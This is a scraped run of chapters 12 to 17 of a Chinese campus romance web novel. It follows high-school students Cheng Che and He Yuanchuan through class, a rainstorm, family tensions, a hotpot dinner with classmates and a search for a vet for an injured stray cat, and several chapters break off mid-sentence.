他折返回货架,从边上的架子底部又拿了两盒东西,不大,回去一起付了钱。 拎着东西出来时,天有些阴,也不像刚开始那会闷热,起风了。 程澈抬头往天上看,太阳躲进乌云后面,他收回目光,要下雨了。 他得快点。 加快脚步回到教室,看了眼墙上时间,一点多了,教室和楼道里都没有人,很安静。 呼吸间感觉鼻塞更严重了,程澈去水房装了瓶水,配着吃了点感冒药。 程澈没有午睡的习惯,但还是打算回教室趴着睡会,下午有课,尽管是假期前最后一个下午,但课还是要认真听的。 这世上没有不努力就能获得的道理,付出与收获在某种程度上呈现能量守恒。从傅萍离开家的那一天起,程澈每个夜晚都是抱着书入睡的。 傅萍离开的头两年,程赴还没有把江蔓母女带回来,那会程赴经常一个招呼都不打,去外地写生,留他一个人和一些钱在家,当时也还是住在那栋老弄堂楼里。 老城建筑,邻里两家挨的近。这家在卧室打个喷嚏,那家隔着窗户坐马桶上都听得到。 晚上两层楼里连灯都不怎么亮,院子中间突兀的铁水管还没有现在这么多绣,晚上程澈就缩在房间里,贴着墙壁听隔壁家的声音。 他不是不懂规矩,他只是作为一个孩子,感到很孤单。 六点隔壁哥哥放学回家,通常六点半邻居阿姨喊吃饭,七点喊孩子写作业。 他 12. 第12章 《狗百岁[校园]》全本免费阅读 程澈愣了下,这才觉得自己脸上的温度确实不正常,烫,耳朵也烫。 他没立刻回答,心说,关你什么事儿,你怎么这么爱关别人的事儿? 再张嘴是带刺的,压着声音:“死不了。” 按理说两人算是正式撕破脸了,撕破脸就要有撕破脸的态度。 贺远川看了他一会,直到快把程澈给看毛了,才把头转回去。 搞什么。 他们俩很熟吗?明明中午才刚打一架,这人还恶劣地要挟他帮着补课——给一个每天猪羔子般昏天黑地睡觉的人。 下午是地理课,连堂上,上到一半,有老师敲门进来,抱了几摞厚卷子发了,说是假期作业,七天假回来的第一节课就收。 班里哀嚎声一片。 这种课本来就比较废脑子,好一会卷子终于发完了,地理老师为了赶进度,争分夺秒地朝下讲,下面除了前几排在苦着脸听,剩余的都在开小差。 程澈撑着脑袋尽力听,这块的内容他提前看过,老师讲的知识点在脑子里再重新架构一遍就可以了。 外面雨将下未下,偶尔炸几个雷,班里人多,阴雨天空气不流通,闷的很。 雷打的突兀,一响班里就和炸窝一样躁动,地理老师是个老头,个子不高,有点像魔法电影里的小精灵。 底下一吵,地理老师就拍讲台,说:“干什么干什么呢,外星来的都没听过打雷是吧?再吵吵给扔外面去了啊,听个够!” 等班里安静了点,地理老师把手里粉笔往讲台上一扔,意有所指:“国庆回来就年级章测了,我看这一个个上课,头埋在桌洞里当鸵鸟的,到时候能给我考几分。” 头埋在桌洞里当鸵鸟的刘俊和王杉他们几个,上午才被英语老师指出去罚站,下午几个人又在后排把牌掏出来了。 “谁再偷牌谁孙子啊,孙子阳,我他妈话还没说完呢,手里牌放下!”刘俊咬着牙说,说完就感觉脑袋热,耳朵也热,好像是被骂了。 班里的闷味混合着门外飘来的若隐若现的土腥味,一打雷周围就闹哄哄的,程澈的眉不自觉地蹙着,身体往一块缩。 他感到冷,同时也觉得心烦意乱。鼻子呼不上气,他就微微张开嘴吸气。 他们这边的窗户没开,严丝合缝地关着。 余光看见贺远川坐着,书本下盖着个发亮的东西,应该是在玩手机。虽然没听课,但也出奇地没有睡觉。 刘俊他们几个嫌热,往这边看了眼,趁着地理老头转过身在黑板上写字,压低嗓子朝斜前方喊:“乔稚柏,好热,开点窗——” 乔稚柏听见了,朝后比了个OK,伸手要去开窗。 这窗户很宽,他和贺远川的位置刚好顺着一人半面窗,从哪边都能推得开。 手刚贴上窗户,就听见身后坐着的贺远川说:“别开。” 乔稚柏手停住,回头问:“怎么了?” 他认为贺远川应该是有什么十分重要的理由。 这扇窗平时基本都是大开着,能从外向教室里吹点风,今天回来看见窗户关着,他还奇怪,以为是做值日的哪位顺手给关上了。 “冷。”贺远川头没抬。 “你冷?”乔稚柏震惊了,确认般又问一遍:“今天三十二度。你冷?” “嗯。”贺远川答得干脆,手在书下划着手机屏,不知道在刷什么。 乔稚柏想把手里的书扣他头上。 贺远川不知道犯哪门子神经,乔稚柏没招了,正愁怎么和刘俊他们说,贺远川手向后一扒拉,给虚掩着的后门打开了。 风从后门进来,吹向正对着门的几个大男生。刘俊他们几个无所谓是开窗还是开门,反正横竖有风就行,不热就完事,况且门开着风还大些呢。 吹进来的风驱散了班里闷着的空气,程澈感到头脑短暂地获得了清明。 他和贺远川的课桌离后门稍有些距离,风斜着进来,倒是吹不到他。 程澈抬眸看了眼贺远川,这人在很专心地玩手机,书被压着胳膊下面,不知道翻的是哪一页,反正不是老师说的这页,看着是很后面的内容。 隔着裤口袋的手机震动了下,程澈没管。 身边的贺远川摁灭屏幕收了手机,整理了一下桌上的书和笔,划拉出一片区域,准备趴下去睡了。 刚趴下去,胳膊就被人拍了拍。 他不耐地转过头,见程澈端着一张烧红了的脸,看着有能一头栽地上去的疲惫,脸上却挂着笑,声音不大:“起来,听课。” 笑里有三分的情真意切。 贺远川盯着这张红脸。 哦,搞了半天,在这等着他呢。 地理老师的声音拉大了些,正讲到几类重要气候形成的原因:“地中海气候——啊,和本人的发型是一个名字,但!” 底下学生笑,有嘴贫地接话:“老师你是地全海!” 笑声更大了,淹没了地理老头的控诉。 贺远川看着程澈,说:“你管我。” 周围人声嘈杂,程澈提高了点音量,说:“既然叫我帮你补课,我就当你想好好学,那上课就得好好听。单纯靠我补,补到下辈子你都还得高考,因为考不上。” 贺远川盯着他看,好半天才说:“听不懂,头疼。” 程澈说:“多听两天就不疼了。” 脸被盯得热,程澈看了眼贺远川:“总之好好听,放假回来章测,你有不会的再问我。” 贺远川拉长声音哦了声,问:“我从哪问。” “回来再问。” “那假期呢?” 程澈抬头看他一眼,问:“假期你有写过作业吗?” “这次写。”贺远川说,“不是叫我好好听?” 程澈想,哦,写,关我屁事。 他夹枪带棒:“那你写呗,写字总会吧?” “加个微信吧,”贺远川说,“有不会的我拍照问你。” 程澈脑海里闪过那个黑色头像的“-”,所有信息都空空如也的账号。 程澈想都没想:“我没手机。” 乔稚柏回头问:“你俩嘀嘀咕咕地在说什么啊。” 程澈抬了点声,露出笑容,不知道是想恶心谁:“没什么,我问他题目呢。” 乔稚柏看了看两人,把头又转了回去,心想这两人都有病,一个三十二度天说冷,一个年级第一要问贺远川题目,贺远川他配吗? “班群里 13. 第13章 《狗百岁[校园]》全本免费阅读 “你没走?”程澈握着伞好半天,才像终于回了神,开口问。 “东西落了,回来拿。”贺远川说。 程澈看着他:“教室门锁了。” “嗯。”贺远川点头,“我看见了。” 程澈不说话了,贺远川也没有往前,中间隔着个几人的距离。 “你没带伞?”贺远川又问。 程澈移开目光,嘴硬,声音发干:“带了。” “带了还蹲这儿,赏雨是吧。”拆穿的不留情面。 程澈说:“你管我。” “伞你拿回去吧。”贺远川偏头看了看天。 那片乌云往东边去了,雨在慢慢变小。 “那你呢?”程澈停顿一下,问。 总不能有他把伞拿走,让别人淋雨回家的道理。 “我还有。” “哪儿还有。” 贺远川站着看他会,还真从书包里掏出把伞来,新伞,底部坠着个吊牌,说:“回去吧,吃点药。” 程澈心里某块像是被掐了一把,有点发酸发胀,又有点疼。他皱着眉,说:“别搞得跟我们很熟的样子。” “不熟,回吧,我也走了。”贺远川并没有生气,语气寻常,甚至难见的柔和,有点像是在哄小孩。 程澈不吭声,只是垂眸看手里的伞。 贺远川走到屋檐前,啪地弹开那把新伞,回过头看他一眼,说:“微信通过下,程老师。” 说完也没等程澈回应,撑着伞踏入雨中。 程澈看着贺远川越走越远,最后变成一个小黑影,出了那道铁门。 他掏出手机,解锁摁开,顶部通知栏果然有条消息。 “-”申请添加您为好友。备注栏里是空的,一个字也没有。 程澈手指顿了顿,这属于吃人嘴短,他想,只是同意加个微信而已。 门卫大爷举着把大伞过来,待看清这边站了很久的人后,说:“怎么又是你,程澈,你怎么还没回家?” “就准备走了。”程澈笑笑,把手机装回口袋,撑开手中的伞,“大爷再见。” 门卫大爷摆摆手,收了伞往空教室去,边走边往后留话:“这会雨小了,快回去吧,一会还有的下。” 程澈举着伞出去了。雨确实小多了,乌云离开了的缘故,天色比方才要亮些。 六点多了,又是雨天,学校附近看不到几个学生了。 丢了什么东西呢,要顶着雨下车跑回来拿。 程澈走得很仔细,也很快。 听力和触觉都在雨中因为焦虑变得敏锐,左边车摁了声喇叭,右边孩子在哭,雨滴在伞上打出的声音,溅到裤脚上的水渍。 都让程澈觉得不舒服。 他将伞柄握得紧紧的,只看脚下的路。 一直走到熟悉的小巷里,赵庆在小卖部里看电视,放的应该是体育频道,程澈能听见裁判吹哨子的声音。 在红色铁门前站定,他掏出钥匙开门,雨水避无可避地顺着伞沿落到他手上。 程澈闭了下眼,头脑空白,他无法冷静地找到开门的钥匙。 不知道有没有人在家,他不想与程赴打照面,江蔓可能在打牌,江河耳朵不好,敲门也听不见。 他倚着墙抬手正不知道该怎么办的时候,门从里被人拧开了。 一个扎着小揪的脑袋探出来,抬头一下就看见了门外站着的程澈,登时睁大了眼。 程澈今天一整天都没回来,平时很少有这样的情况,今天从下午开始就下雨,江河在心里越来越担心程澈,但她自己又不能出远门。 她就撑着把小花伞,每隔一会就开门出来,看看巷子里能不能看见程澈的身影。 看了不知道多少次,也没有看见程澈。 江河睁着大眼睛啊了几声,看着很激动,把手里的小花伞往墙上一靠,刷地拉开门。 她一把拽住程澈的胳膊往院子里拉。经过客厅时,程澈这才听见被雨声盖住麻将声。 今天估计是因为下雨,能来的人不多,江蔓就凑了个数,坐在牌桌那正摸牌。 他听见桌上有人问:“外面那人是谁啊。” 左边那人透过小熊门帘,探头往外面经过的两人身上看了看,低下头说:“哦,程家大的。” 程澈头也没回,一路被江河拽上了楼。 要是往常,他会和江河“说”:上楼要小心,这儿的栏杆扶手不牢固,很危险。 但今天他状态不好,连胳膊都抬不动,放任着江河拖着他的胳膊一路向前,只是在拐弯时伸手往小姑娘身后拦了拦。 江河把他拉到了自己的房间,从衣柜里拿出叠好的干毛巾要给程澈擦手臂上的水。 程澈这会才觉得好一点,从江河手里接过毛巾,先是给江河把湿掉的头发丝擦干,又给江河的胳膊拉过来,仔细地把针孔附近的水小心擦掉。 之后他一手擦着自己身上的水,一手摸摸江河的头,擦完把湿掉的毛巾搭在椅背上,“问”:你一直在等我? 江河看着他,先是点头,又指指他的脸,“说”:你生病了吗,中午怎么没回来? 程澈“说”:中午有事,哥有点感冒,睡会就好了。 江河不让他走,两条瘦弱的胳膊比划的飞快,“说”:你得吃药。 他点头。门卫大爷说得对,雨确实还有的下,屋外的雨这会果然又大了,噼里啪啦地斜着打在二楼半露天的阳台上。 江河让他在床边坐着,自己跑下楼,去端了热水和一碗粥,噔噔地又跑上来。 程澈在江河的监督注视下,掏出药乖乖地吃了,又将那碗热粥慢慢吃完,江河才肯放他走。 江河看他吃完,笑起来,眼睛弯弯的,比划:妈给爸煮的,我盛了碗放柜橱里的。 又“说”:哥别怕,外面走廊上有雨水,等不下了你再回。 程澈确实不想出去,身上衣服没换,他点头,从床沿站起来坐到江河的凳子上,掏出手机看。 江河担心他一天,连书都没心情看。 这会看着程澈吃了药又吃了粥,身上也没见伤,下着雨还完好无损地回来了,她的一颗心才落下去,拧开灯趴床上看书了。 班群里 14. 第14章 《狗百岁[校园]》全本免费阅读 睡到半夜又发了烧,浑身烫,程澈从床边夹缝拐角里神智不清地爬起来。 桌上有水,是玻璃杯装着的,江河睡前无论如何都要端杯水给他,他也就任她放着。 借着月光,程澈摸着端起那杯水喝了,凉水顺着发烫干涩的喉管一路下滑。 睡前还能听得到雨声,这会倒是听不见了。临睡前他怕窗户开着雨水进家,把对着阳台的窗给关上了。 鼻塞得厉害,横竖也睡不着,程澈伸手推开了窗,刚一开,就一股风裹挟着泥土味吹进来,扑到他的脸上。 温差大,程澈抖了下,掏出手机看,凌晨三点四十。 附近的人家都在熟睡,周围一片寂静,远远看见巷口路灯亮着,哪家狗汪汪地叫了几声,又很快归于沉寂。 他从衣柜里想摸件薄外套穿上,手背碰到下午换下来的那条裤子,触感略湿润,与此同时,有个有棱有角的东西硌了下他的手背。 程澈顿了下,伸手将那硌手的东西拿出来。 一盒红霉素软膏,外加一小盒创口贴。 老实说他也不知道自己买这东西干嘛,程澈盯着手中的东西,越想越心烦,索性往桌上一扔,纸盒在桌上滚了两圈,斜斜地倚靠在台灯开关那。 开门站在阳台吹了会风,直到打了两个大喷嚏,程澈才老老实实地关门,往垫了层薄被的床拐角夹缝里一躺。 天冷了,这地上快不能再睡了。 程澈这样想着,裹紧半张被子,闭上眼酝酿睡意。半天也没睡着,黑暗中他掏出手机刷了会微博,手机屏幕的光照在脸上,有些刺眼。 他伸手拉下通知栏,想调低亮度,顶端看见一条发过来很久的微信验证消息。 点开后一条弹窗弹出来,“乔稚柏爸爸”申请添加你为好友,申请栏填了几个颜文字,又是开心又是卖萌的。 程澈通过了这位顶着工藤新一头像的“同学父亲”,越想越觉得这画面在大半夜多少有点诡异。 也不知道加他干嘛,加就加吧,横竖也不差这一个。 他点进朋友圈看了会,“乔稚柏爸爸”的朋友圈可谓是十分精彩,里面常发的是一个小学男生的各种丑照,看着也是张娃娃脸,程澈猜应该是乔稚柏的弟弟。 各种吃过的各种美食,买的球鞋和手办。 程澈本意是睡不着,随便看看,没想到顺带着也看了不少“-”用户的发言,大多是乔稚柏发癫,贺远川泼冷水。 一直划到快最下面,才看见一张略带稚气的熟悉的脸,大概十二三岁?看着像初中生。 程澈抬眼看了年份,四年前,还真是初中生,刚上初一。 画面里,乔稚柏抬臂揽着贺远川的肩,手绕过颈后大咧咧地朝着镜头比耶,乔稚柏笑得明媚,被揽着的贺远川要高上半个头,板着张脸,略青涩的眸子不大情愿地睨着镜头。 配文是:路上遇见了脱衣服的变态,特别吓人,还好我兄弟帮着赶跑了! 这条下面“-”用户评论:删掉。 乔稚柏回:不,这张拍得我很帅。 程澈盯着右边那张脸看了会,想,这脸可真够臭的。 他窝在那儿刷了会手机,直到身上出了汗,琢磨着烧应该是退了,侧躺着又看了会手机,睡意来袭,他握着亮着光的手机,眼皮越来越沉,不知道什么时候就睡着了。 程澈是被关门声吵醒的,他皱皱眉,外面天已经大亮,光大剌剌地照射进来。 背下硌得生疼,压着个硬硬的东西,程澈手伸下去把压着的手机掏了出来。 摁亮屏幕,快九点了。 程澈犯懒不想起,刚想收回手机,突然想起什么似的,猛地坐起身,手调开微信界面。 “-”界面的聊天界面最后一句不再是“我通过了你的朋友验证请求,现在我们可以开始聊天了”,而是变成了一串杂乱的英文字母。 还是程澈这边发出去的,大概是睡着后不小心误触,还精准地误触到了发送。 时间过了,已经撤回不了了。 程澈愣了会,叹口气,把手机胡乱装进口袋。哪家好人大半夜快四点给别人发一串乱码? 光是凌晨四点不睡觉,点开别人的聊天对话框这件事,就非常的说不通好吧! 有人敲他房门,他打开门,江河站在外面。 小姑娘先是睁着大眼把他浑身上下看了遍,“说”:好了? 程澈“说”:好得透透的。 他没说自己昨晚又发了烧,没什么必要。 江河就笑了,比划:下来吃饭,妈做了面条,香。 程澈跟着江河下楼,砖楼梯夹缝里的那几朵小黄花在雨中逃过一劫,开得更盛了。 确实很香,闻着是西红柿鸡蛋面,两人刚下来,就看见程赴刚吃完饭从客厅出来,长发尾巴那块用根皮筋松散地扎住。 他拿着张纸巾擦嘴,从口袋掏出根烟叼在嘴里,抬眼看见程澈,嘴里有东西声音不太清晰:“起来了?” 程澈没看他,拉着江河就进了屋。江蔓不在家,估计是去买菜了。 程赴也不觉得尴尬,对于这个儿子,他其实没多少感情,自己常年在外跑,取景,画画,程澈就一个人在家自生自灭,不理他也正常。 程赴站在院子里抽完那支烟,进了他自己的房间,程澈的余光一直盯着那人进去后,肩膀才往下懈一点。 吃完饭程澈就一直在房间里写试卷,一直写到中午,江河过来敲他门,打手语说能吃午饭了。 假期就是这样,睡了吃,睡了吃,吃了没一会又要吃。 程澈没什么胃口,但还是和江河一块下去了,这次客厅没看见程赴,门也关着,但没锁,估计是出门了。 饭桌上江蔓只会给江河夹菜,但会把菜往程澈这边推,程澈抬头看她,江蔓脸上没什么表情,只说:“看什么,快吃。” 下午陪着江河看了会电视,程澈打算上楼去写作业,院子里陆续有人来了,来打牌的。 他低着头上了楼,听见身后的只言片语,压低声音:“和他妈长得真是像。” “像着呢,可怜,哎,亲妈跑了,爹也不是个负责任的,听说成绩可好,年 15. 第15章 《狗百岁[校园]》全本免费阅读 程澈抬头看了眼红棚子,红棚子里烟雾缭绕,可能因为是假期,基本桌桌满座。服务员系着围巾忙里忙外,食材在锅里咕嘟咕嘟地翻滚。 空气中牛油与麻辣的香味十分浓郁。 他又看了眼地上散落的垃圾。菜叶子,烟头,还有碎玻璃渣。板凳是塑料的红色凳子,侧边贴着胶布,边缘因为摩擦而翘起发黑,桌子是简易支起来的圆桌,方便老板夜晚收回。 热闹烟火气对标的是人流量大,经济实惠,人流量大与经济实惠对标的则是相对潦草的卫生环境与食品质量。 程澈猜他应该是和乔稚柏在一块。这两个人,吃穿用度都看得出不是普通人家的小孩,总不会来这种地方。 这种地方应该是属于程澈的。 他低头打字:不了。 这两日贺远川的态度变得有些奇怪,程澈也琢磨了,但没想通。这种变化让贺远川从一团难以靠近的黑色固体变成了带些色彩的会流动的河流。 不一会“-”的消息就过来了:你回头。 程澈顿住脚步,带着疑惑转过头,这次视线很快固定,身后一个较远的红棚子里坐着几个人,正对着面的是张眼熟的娃娃脸,正看着他挥手。 乔稚柏扯着嗓子对前面站着的那人喊:“程澈!这儿!” 今晚也是巧,听说这边火锅好吃,乔稚柏就叫司机开车把贺远川也给强制接过来了。 他眼尖,透过食材上方的烟雾,听着小摊贩的吆喝,在人来人往里突然看见个熟悉的穿着白衬衫的瘦削背影,直拍贺远川的肩: “哎哎你看——那不是程澈吗?” 筷子一放,对着背影就喊了几声。 恰时旁边不知哪个棚子里破了几个玻璃瓶,完全盖住乔稚柏的喊声,男孩瘦削的背影没有丝毫停顿。 乔稚柏掏兜拿手机,手机还剩两格电,微信还没点开就自动关机了。 乔稚柏骂了句,无奈地又把手机揣回去,边揣边跟一旁坐着的贺远川说: “你有他微信吗?叫程澈来吃饭,昨天说请他到外面吃,今晚正好。” 贺远川看了眼他揣兜里的手机:“你怎么不问?” 乔稚柏说:“我手机关机了呀,快点哥,等下人走远了。” 贺远川还是没动作,只是问:“你有他微信?” 乔稚柏嘿嘿笑两声,“我才加的。” 贺远川慢悠悠夹了颗牛肉丸放碗里,筷子一戳,从孔里噗呲爆出汤来,差点没溅到乔稚柏身上。 程澈握着手机,看红帐篷里的人,全是熟悉面孔。 除了乔稚柏和贺远川,刘俊和王杉,还有过道另一侧的几个男生。 这种时候掉头就走总归不太好。他转身往红棚子里去,王杉和刘俊看见程澈,很高兴,招呼:“巧了吗这不是!快坐,那个——阿姨,再上一份餐具!” 乔稚柏说:“也是临时起意,听说这边火锅味正,正好碰到杉哥他们,就一块吃了,刚开始没多久。” 程澈笑笑:“挺好,人多热闹。” 王衫刘俊他们几个关系好,上课经常偷摸打牌,课下也爱一块打球,自然是坐在一块,看了一圈,又是唯独贺远川旁边还剩个空。 这该死的巧合。 程澈想,现在走还来得及吗。 便听见一直没说话的贺远川低着头轻笑一声,声音不大:“是挺热闹。” 几人招呼他去坐,程澈有点笑不大出来,腿倒是实诚,直接往空位子迈。 刘俊和王杉开了瓶小麦果汁,感慨:“真的没想到会和川哥在一块吃饭,还是在这种红棚子火锅店。” 他们一帮男孩以前心里多少都有点怵贺远川,觉得这人不好惹,贴吧里不是说的么,跋扈的很,脾气恶劣,公子哥。 虽然他们平时也混,也打架,但总归都是些半大小子,有家里人管着,也都是些做生意的家庭,再混再闹也都顾着家里,没有贺远川这么的… 好像什么都无所谓,完全不在乎后果。 乔稚柏声音大,维护自己的好兄弟,洗刷谣言:“他人可好了,别看着像个不好惹的,心软的很——” 话没说完就被贺远川堵回去,“闭嘴,吃你的。” 这会的贺远川看着才像个活人。不只是王杉和俊他们这样觉得。 王杉和刘俊哈哈直乐,其他几个男生也闹起来,一下子往锅里下了半桌子菜,王杉对吃很有讲究,嚷嚷:“干嘛呢,有你们这样下菜的吗,煮粥呢。” 对面一个戴眼镜的说:“下慢了够你那同桌吃吗,刘俊你他娘的是真能吃!吃慢点,不烫吗!” 刘俊是瘦高个,胳膊细,腿也细,吃得又多又快,旁边刘杉也骂他,“妈的你是不是有甲亢啊,怎么光吃不胖的。” 刘俊咽掉嘴里的毛肚,也骂:“你他妈才有甲亢,老子就是基因好,你羡慕也没用。” 几个半大小子把红棚子闹的差点掀掉顶子,好在假期,每桌基本都闹哄哄的,没人有多余的目光往这边看。 这条美食街虽然离家不远,不过程澈还真没怎么来吃过。这条街属于老街,二十多年前就有了红棚子火锅,小时候傅萍带他来过一次。 程澈不怎么能吃辣,傅萍会点鸳鸯锅,把不辣的三鲜锅底转到他面前。 长大后程澈也来过,出来找吃的,脚步就停在这,索性进去了,要了三鲜锅。结果老板太忙,给他上错了,上成了红油麻辣锅。 程澈没说什么,周围每桌都热热闹闹的,他一个人背着书包缩在角落里,坐着张小桌,点了爱吃的虾滑。 虾滑滚进红锅里,煮出来也是红色的,饱满地浮在油汤上,他捞出来吃了,又麻又辣,出了一脑门子汗,差点把眼泪给烫出来。 当天晚上回家就拉了肚子,他肠胃不好,吃不得太刺激的,奶奶胡翠兰说是傅萍当年怀他时没怀好导致的。程澈想,放屁,哪有这种道理呢。 像今晚这样一大帮子人热热闹闹地坐在一起吃火锅,是程澈很多年都没有过的体验了。确实很吵,耳膜震得难受。 但好像也能接受,没有他想象中的难熬。 红棚子里全是热气,鼻子又有点塞,程澈小声吸了两下。 锅里的菜很快被几个半大小伙子捞差不多了,王杉给桌上的人捞菜,熟的捞出来再下新的, 16. 第16章 《狗百岁[校园]》全本免费阅读 程澈倒是没想到,刚才这么吵闹的环境里,他小声吸几声鼻子,清几下嗓子,贺远川会听得见。 “我吸鼻子声音很大吗。”他还是忍不住问。今天虽然没有再下雨,但直到遇到这一帮人之前,他的心里还像是堵着块东西。 可能是砖楼梯上踢跑的几粒石头不够干脆,可能是馄饨并没有吃饱,他又不愿看那位年轻妈妈难堪,也可能是误触发了那段乱码。 程澈没意识到自己现在看起来像一只垂头丧气的小动物。 明明已经刻意在别人吃饭时压低声音了,这人是千里耳吗。 “嗯。”贺远川放下曲着的胳膊,看了他一眼。 这会的程澈又没了昨天在校医室和他打架的狠样子了,那会揪着他领子时简直像只暴跳如雷炸了毛的猫。 可能因为生病未愈,现在看着整个人有点蔫头巴脑的,反应也慢慢的,甚至连头发都翘起几缕,一看就是在床上揉出来的。 很好欺负。 程澈不说话了,低着头。 贺远川又看了他一眼,才说:“我骗你的,还好其实。” “哦。”程澈说,“又逗我是吧。” 贺远川笑了两声,“你知道啊。” “我又不是傻子,我分得出来。”程澈有气无力。今晚的一切都让他无论如何也生不起气来,连贺远川都变得没有那么面目可憎。 “你家住这附近?”贺远川问。 “嗯。”程澈答,看着端着菜的阿姨给邻桌上菜,莴笋和千张,菜码的高高的,他突然就想多说一点:“隔着巷子就是。” 旁边那桌喝到尽兴处了,站起来嚎了几嗓子歌,五音不全大白嗓,程澈想起了廖老师。 “经常来这吃饭啊。”贺远川声音淡淡的,两人这样有一搭没一搭地聊,倒像是朋友了。刘俊在桌上翻了个面,头背着他俩。 “嗯。”程澈闭着眼睛,双手撑着塑料凳子,周围的吵闹衬得他们这桌更安静了,这让他觉得有点困。 小指那碰到一块黏黏的胶,他身子没动,手指摸索着将胶布重新贴正,说:“离家近。” “有什么好吃的吗,这儿。”贺远川问。 前面第二家的锅巴饭好吃,米饭用油煎出焦焦的脆壳,再翻个面,用脆壳盖住饭上铺满的各种炒蔬菜。对面没多远的一家鸡蛋灌饼也好吃,那个短发大姨特别会做酱,抹在热腾腾的饼上,程澈能一口气吃两张。 但也有吃了立刻肚子疼的,比如街尾那家鱼羊烧烤,已被程澈拉入黑名单。 “很多啊,”程澈说,盯着地上伏着的半根千张,应该是刚才走动间从盘子上掉的:“你没吃饱?” “饱了。”贺远川说。“下次来。” “你肠胃扛打吗。”程澈问,“扛打才能来。” “据我了解,挺扛的。”贺远川笑了,看着挺开心,笑完很认真地点头:“那我下次来能不能找你,小程老师。” 红棚子里是叙利亚装修风格,连照明都只是往棚子顶部的铁架子上攀缠着拉了灯泡,像老墙上趴着的藤蔓。 淡黄的光照下来,贺远川笑着的脸看着柔和,程澈突然有点明白为什么贴吧里会有那么多人执着于拍贺远川的照片。 “再说吧。”程澈看着他说,这种没必要扮演任何模样的状态莫名让他觉得放松,不用眯着眼睛笑,可以由着嘴乱说:“我很忙的。” 不会再差了。 再差又怎么样呢?顶多甩开膀子再打一架。 话音刚落,那边乔稚柏和王杉就结完账回来了,退酒的那几个男孩没过多久也回来了。 乔稚柏跟王杉肩并肩出来的时候讨论得正欢:“杉哥,我每个月给你两百,你买零食时帮我多买些行不,顶饱的那种,干脆面小面包,都行。” 王杉说:“你在我这办月卡了是吧,是不是哪天忘记买还得打你邮箱里。” 乔稚柏嘿嘿几声:“哪儿啊,杉哥人仗义,想起来时多带点就成。” 他四面八方有三个不吃早饭的,身后两个脑子有病的,还有一个哑巴同桌。对于低血糖这件事,他兄弟命硬死不了。 但食堂饭确实太难吃,给他整出心理阴影了。乔稚柏恶狠狠地决定多买些零食,每天早上让这几个人多塞点。 转头看见贺远川低着头,嘴角朝上扬,不知道在笑什么,便朝着这边喊:“哟呵!你俩聊什么呢,这么开心。” 程澈抬头笑:“闲聊。” 王杉出去打了个车,几个男生一块把桌上的刘俊抬走了。 临走时王杉朝几个人挥手,又特别指指乔稚柏:“川哥,学霸,都在这啊,我们先回了,刘俊这死孩子能吃不能喝,放这趴着碍眼,走了——乔稚柏,下回得你请了啊!” 乔稚柏说知道了知道了,几人一走,乔稚柏低头收拾桌下的东西,下午买的衣服鞋,几个购物袋都拎在手里,间隙里抬头对着程澈说话: “真难得,你都不知道他平时脸有多臭,跟谁欠了他钱似的,凶巴巴的。” 贺远川头都没抬:“滚。” “你看吧你看吧。” 程澈心里有鬼地端起桌上的饮料抿了一口。他还真知道贺远川脸有多臭,因为大半夜四点翻了别人的朋友圈。 三个人出了红棚子,这会比来的时候少了点小推车,来来往往的人也少了些。 三个男孩并排走,路人经过忍不住瞅他们一眼。中间那个娃娃脸一路上都在叽叽喳喳地说话,旁边两个人都高高瘦瘦的,垂眸听,右边那边偶尔弯着桃花眼笑笑,很是养眼。 程澈觉得乔稚柏这个人真的很热闹,一直到走出美食街,乔稚柏才说:“程澈你住哪,送你一段。” 程澈摆摆手:“不用了,我近的很。” 他们的车就停在路边,司机探头招手,乔稚柏应了下,转头对程澈说:“那你回去慢点啊。” 程澈说好,刚准备转身离开,贺远川沉默了一路,这会才说话,“别忘了。” 别忘了下回带他吃饭。 程澈还没想好怎么回答,一边的乔稚柏先炸了: “忘了什么?什么忘了?又别忘什么了,打哑谜是不是,贺远川,你不对劲。” 贺远川长 17. 第17章 《狗百岁[校园]》全本免费阅读 小镇虽然有小镇的好,但在医疗方面是严重落后省会的。治人的地方倒还好,治动物的地方,在清野镇,基本等于没有。 程澈也不知道要把猫抱到哪去,黑白花躺在盒子里,嘴里有血,后腿微微抽搐,情况看着不好。 伸手拦了辆出租车,程澈抱着黑白花上了车,司机问去哪儿,程澈也不知道。 他关上车门问:“师傅,您知道镇上哪里有宠物医院吗?” 师傅是个中年男子,车里打着空调,有点闷。中年男子回头看他一眼,又把头转回去,说:“清野镇哪里有什么宠物医院?连治人的医院都是二甲,别说救猫救狗了,反正我是没见过。” 师傅从后车镜看他,“你养的宠物?生病了?” 程澈说:“流浪猫,被车撞了。” 师傅咂咂嘴,手握着方向盘敲敲,“也就你们这些小年轻爱心泛滥,这街上哪天不死几只猫猫狗狗的,要我说,都是祸害,危害生态环境。” 程澈皱皱眉,手想拧开车门,想想又收回,说:“师傅你朝江东路开吧,开慢点,我找找看。” 江东路靠近清野四中,位置比较偏,程澈上次去蹲点黑炭和光头时,好像是在那边看见过医院,但具体是不是治动物的,他不确定。但得去碰碰。 程澈伸手搭在猫的鼻尖探探,指尖温热的。 师傅没说话,发动引擎往江东路方向开。程澈偏头往路的两旁看,淡淡的血腥味钻进鼻尖。 这边果然是偏,连店铺都不多,这会又是晚上,程澈看了眼手机,快十点了,且不说这条路上有没有宠物医院,就算有这时间也得关门了吧。 车一直开到清野四中那儿往南一点,师傅在一个亮着光的招牌前停下了,“哟,还真有一家,就是关门了。” 程澈透过车窗看亮着灯的几个字:仁心宠物医院。门面不大,招牌上画了两只猫。 下面还有串手机号。他抱着纸箱下车,掏手机付了钱。 程澈站在招牌下,为减少晃动把纸箱放在地上,昂头对着上面的数字把那串手机号输进去,铃响了很久,一直到响完都没人接。 他核实了一遍号码,确定没错后又打了一遍,还是没人接。 程澈蹲下去看纸箱里的猫,猫后腿和尾巴上被血糊成一团,司机师傅还没走,在身后喊他:“没人接电话吧?这么晚了,附近又偏,路上快没车了,要带你回去吗?” 程澈没说话,脑袋乱得很,蹲那看猫。他也不知道该怎么办了。 师傅突然在后面又喊了声,“哎,小伙子,你看那边,那墙上的竖招牌是不是写着兽医站呢?” 程澈站起来转过身,顺着师傅探出车窗的胳膊看去。 还真是,开心兽医站。旁边就是根路灯,照的那块还挺亮堂,门两侧的竖招牌一看就是年数久远,字发黄,招牌边上的钉子因常年风雨生着锈。 大铁门紧闭,从顶部垂下发黄干枯的野草。 程澈抱着纸箱三两步过了马路,对着铁门拍了几下,等了两分钟也没等来人开门,他贴在门上听,里面一点动静都没有。 不死心,程澈又拍了几下,这次用的力气大,门被拍的嘭嘭响:“有人吗?” 他又准备贴上去听,刚把身子凑上前趴门上,门就被人从里面咣地打开了,程澈差点一头栽进去。 